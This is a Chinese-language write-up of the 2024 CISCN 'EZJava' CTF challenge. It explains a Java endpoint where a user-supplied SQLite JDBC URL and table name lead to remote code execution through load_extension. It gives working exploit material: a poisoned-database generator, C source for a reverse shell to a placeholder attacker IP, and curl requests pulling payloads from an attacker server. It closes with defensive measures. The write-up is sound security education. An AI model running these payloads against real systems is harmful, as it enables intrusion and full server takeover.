2024ciscn-ezjava学习
字数 998 2025-08-03 16:48:49
2024 CISCN EZJava 漏洞分析与利用教学
漏洞概述
2024年CISCN比赛中出现的EZJava题目展示了一个基于JDBC连接的SQLite漏洞利用链,通过恶意构造的JDBC连接字符串和SQLite扩展加载机制,实现远程代码执行(RCE)。
漏洞分析
1. 漏洞入口点
漏洞位于JdbcController类的connect方法:
@RequestMapping(value={"/connect"})
@ResponseBody
public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
try {
return new ResultBean(Integer.valueOf(1), String.join((CharSequence)",",
this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
}
catch (Exception e) {
return new ResultBean(Integer.valueOf(0), "\u8fde\u63a5\u5931\u8d25");
}
}
该方法接收一个JdbcBean对象,并将其传递给datasourceServiceImpl.testDatasourceConnectionAble方法进行数据库连接测试。
2. 核心漏洞逻辑
testDatasourceConnectionAble方法中处理SQLite连接的部分:
case 3: {
SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
if (jdbcBean.getTableName() != null) {
return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
}
return sqliteDatasourceConnector.getTables();
}
当type为3时,会创建SQLite连接并执行表查询操作。
3. SQL查询执行点
getTableContent方法存在SQL注入风险:
public String[] getTableContent(String tableName) {
String sql = "select * from " + tableName; // 直接拼接表名,存在SQL注入
try (Statement statement = this.connection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);){
while (resultSet.next()) {
}
}
catch (SQLException e) {
e.printStackTrace();
}
return new String[0];
}
漏洞利用链
1. SQLite JDBC攻击原理
SQLite支持通过load_extension函数加载外部库文件,这为RCE提供了可能:
- 创建恶意视图(View)指向
load_extension函数 - 通过JDBC连接字符串从远程加载恶意数据库文件
- 数据库文件中的视图会触发加载恶意.so文件
2. 恶意数据库文件生成
生成包含恶意视图的SQLite数据库文件:
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
public class Gen {
public static void main(String[] args) {
try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
String sql = "CREATE VIEW security as SELECT (SELECT load_extension('/tmp/sqlite-jdbc-tmp-2133282111.db'));";
PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate();
preStmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
3. 恶意.so文件编写
编写反弹shell的恶意.so文件:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("攻击者IP");
connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
编译命令:
gcc -shared -fPIC -o vulnso.so vulnso.c
完整利用步骤
- 准备恶意.so文件和数据库文件
- 将.so文件上传到目标服务器的
/tmp/目录下(可通过其他漏洞) - 分两步发送请求:
第一步:加载恶意数据库文件
curl --header "Content-Type: application/json" \
--request POST \
--data '{"type": 3,"url": "jdbc:sqlite::resource:http://攻击者服务器/poc.db","tableName": "security"}' \
http://目标服务器/jdbc/connect
第二步:触发.so文件加载
curl --header "Content-Type: application/json" \
--request POST \
--data '{"type": 3,"url": "jdbc:sqlite::resource:http://攻击者服务器/vulnso.so","tableName": "security"}' \
http://目标服务器/jdbc/connect
防御措施
-
禁用SQLite的扩展加载功能:
// 在创建连接时添加参数 jdbc:sqlite:file:test.db?enable_load_extension=false -
对用户输入的JDBC连接字符串和表名进行严格过滤
-
限制数据库文件只能从本地加载,禁止远程资源加载
-
使用预编译语句(PreparedStatement)而非字符串拼接SQL
-
实施最小权限原则,限制数据库用户权限
总结
该漏洞利用链展示了如何通过JDBC连接和SQLite特性实现RCE,关键在于:
- 利用SQLite的
load_extension功能 - 通过JDBC从远程加载恶意资源
- 构造特殊的数据库视图触发恶意代码执行
这种攻击方式在Java应用中较为少见,但危害极大,开发人员应特别注意JDBC连接的安全配置。